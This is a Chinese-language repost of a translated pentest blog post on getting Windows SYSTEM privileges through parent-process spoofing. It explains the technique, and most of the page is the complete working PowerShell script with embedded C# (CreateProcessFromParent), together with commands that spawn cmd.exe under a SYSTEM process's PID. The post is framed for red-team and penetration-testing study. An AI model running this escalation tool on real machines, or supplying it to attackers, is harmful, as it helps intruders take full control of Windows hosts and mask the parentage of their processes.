【安识译文系列】利用Powershell获取System权限 您所在的位置:网站首页 powershell提权命令 【安识译文系列】利用Powershell获取System权限

【安识译文系列】利用Powershell获取System权限

2024-06-15 21:33| 来源: 网络整理| 查看: 265

powershell.png

充当红队(红蓝对抗)或者渗透测试活动的时候,能努力获取系统的System权限总是咱们的终极目标。System用户是个特殊的系统操作用户,具备高权限,非常方便后渗透的技术施展。 

当然,为获取System权限,你要么是administrators管理员组一员,要么使用一些特别的token窃取或伪造技术(例如:The lonely potato),要么通过一些未修补的漏洞利用等等姿势。

如果你有administrator 管理员权限,那么有一堆技术或者工具能帮你快速提权。最常用的估计就是来自Sysinternals出品大名鼎鼎的“psexec” , 当然也有其他的工具,譬如说基于命名管道或者令牌模拟的。我估摸着各位都用过meterpreter命令行下的“getsystem” 命令。

本文中我会告诉大家如何使用“父进程”技术。当然了,没啥新东西,我只是想通过简短精练的Powershell脚本就能实现一切功能。

先来灌输点理论知识:通常来说,当一个进程推出一个子进程,那么它本身就成为了子进程的父进程。然而从Windows Vista时代就可以通过技术手段去改变这个行为。如果我们创建一个新的进程,也设置为父进程属性,那么子进程将继承指定父进程的令牌。所以,如果我们创建一个新进程,把父进程的pid设置成具备System权限的进程,然后你懂的!

当然,为了能够从父进程句柄创建一个另外的进程,我们需要提示权限,通过采用管理员才有的seDebugPrivilege权限。当然得记住这个权限可用的条件是在已经提升特权的命令提示行下。使用下面命令验证一下:

PS>whoami /priv

shell1.png 

上面讲完的理论知识,下面我们来结合Windows API实现我们的提权小目标。

首先我们需要在STARTUPINFO结构里创建一个属性,获取父System进程的句柄并且告知CreateProcess()去使用这些额外的信息。

使用C++或者C#应该相对简单,对powershell来说是个比较复杂的过程,所以我打算在我的my .ps1脚本里面嵌入C#。你知道的,可以从powershell里面执行C#代码。

脚本我已经开源到GitHub:https://github.com/decoder-it/psgetsystem (脚本已贴在文末)

在一个较高权限的Powershell命令行下执行:

PS> . .\psgetsys.ps1PS> [MyProcess]::CreateProcessFromParent(,)

shell2.png 

我们也可以在脚本末尾增加“auto invoke” :

Add-Type -TypeDefinition $mycode[MyProcess]::CreateProcessFromParent($args[0],$args[1])

然后来引用它:

.\psgetsys.ps1 808 c:\windows\system32\cmd.exe

最后但同样重要问题:如果SeDebugPrivilege并没有开启怎么办? 

翻译者:安识科技小王子

翻译原文:《Getting SYSTEM》 https://decoder.cloud/2018/02/02/getting-system/

脚本:

#Simple powershell/C# to spawn a process under a different parent process  #usage: import-module psgetsys.ps1;  [MyProcess]::CreateProcessFromParent(,) $mycode = @" using System; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; public class MyProcess {     [DllImport("kernel32.dll")]     [return: MarshalAs(UnmanagedType.Bool)]     static extern bool CreateProcess(         string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,         ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags,         IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo,         out PROCESS_INFORMATION lpProcessInformation);     [DllImport("kernel32.dll", SetLastError = true)]     [return: MarshalAs(UnmanagedType.Bool)]     private static extern bool UpdateProcThreadAttribute(         IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue,         IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);     [DllImport("kernel32.dll", SetLastError = true)]     [return: MarshalAs(UnmanagedType.Bool)]     private static extern bool InitializeProcThreadAttributeList(         IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);     [DllImport("kernel32.dll", SetLastError = true)]     [return: MarshalAs(UnmanagedType.Bool)]     private static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList);     [DllImport("kernel32.dll", SetLastError = true)]     static extern bool CloseHandle(IntPtr hObject);              [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]     struct STARTUPINFOEX     {         public STARTUPINFO StartupInfo;         public IntPtr lpAttributeList;     }     [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]     struct STARTUPINFO     {         public Int32 cb;         public string lpReserved;         public string lpDesktop;         public string lpTitle;         public Int32 dwX;         public Int32 dwY;         public Int32 dwXSize;         public Int32 dwYSize;         public Int32 dwXCountChars;         public Int32 dwYCountChars;         public Int32 dwFillAttribute;         public Int32 dwFlags;         public Int16 wShowWindow;         public Int16 cbReserved2;         public IntPtr lpReserved2;         public IntPtr hStdInput;         public IntPtr hStdOutput;         public IntPtr hStdError;     }     [StructLayout(LayoutKind.Sequential)]     internal struct PROCESS_INFORMATION     {         public IntPtr hProcess;         public IntPtr hThread;         public int dwProcessId;         public int dwThreadId;     }     [StructLayout(LayoutKind.Sequential)]     public struct SECURITY_ATTRIBUTES     {         public int nLength;         public IntPtr lpSecurityDescriptor;         public int bInheritHandle;     } public static void CreateProcessFromParent(int ppid, string command)     {         const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;         const uint CREATE_NEW_CONSOLE = 0x00000010; const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;         var pi = new PROCESS_INFORMATION();         var si = new STARTUPINFOEX();         si.StartupInfo.cb = Marshal.SizeOf(si);         IntPtr lpValue = IntPtr.Zero;         try         {                          var lpSize = IntPtr.Zero;             InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);             si.lpAttributeList = Marshal.AllocHGlobal(lpSize);             InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, ref lpSize);             var phandle = Process.GetProcessById(ppid).Handle;             lpValue = Marshal.AllocHGlobal(IntPtr.Size);             Marshal.WriteIntPtr(lpValue, phandle);             UpdateProcThreadAttribute(                 si.lpAttributeList,                 0,                 (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,                 lpValue,                 (IntPtr)IntPtr.Size,                 IntPtr.Zero,                 IntPtr.Zero);                                              var pattr = new SECURITY_ATTRIBUTES();             var tattr = new SECURITY_ATTRIBUTES();             pattr.nLength = Marshal.SizeOf(pattr);             tattr.nLength = Marshal.SizeOf(tattr);             Console.Write("Starting: " + command  + "..."); var b= CreateProcess(command, null, ref pattr, ref tattr, false,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref si, out pi); Console.WriteLine(b);         }         finally         {                          if (si.lpAttributeList != IntPtr.Zero)             {                 DeleteProcThreadAttributeList(si.lpAttributeList);                 Marshal.FreeHGlobal(si.lpAttributeList);             }             Marshal.FreeHGlobal(lpValue);                          if (pi.hProcess != IntPtr.Zero)             {                 CloseHandle(pi.hProcess);             }             if (pi.hThread != IntPtr.Zero)             {                 CloseHandle(pi.hThread);             }         }     } } "@  Add-Type -TypeDefinition $mycode #Autoinvoke? #MyProcess]::CreateProcessFromParent($args[0],$args[1])

本文作者:安识科技

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/68180.html



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有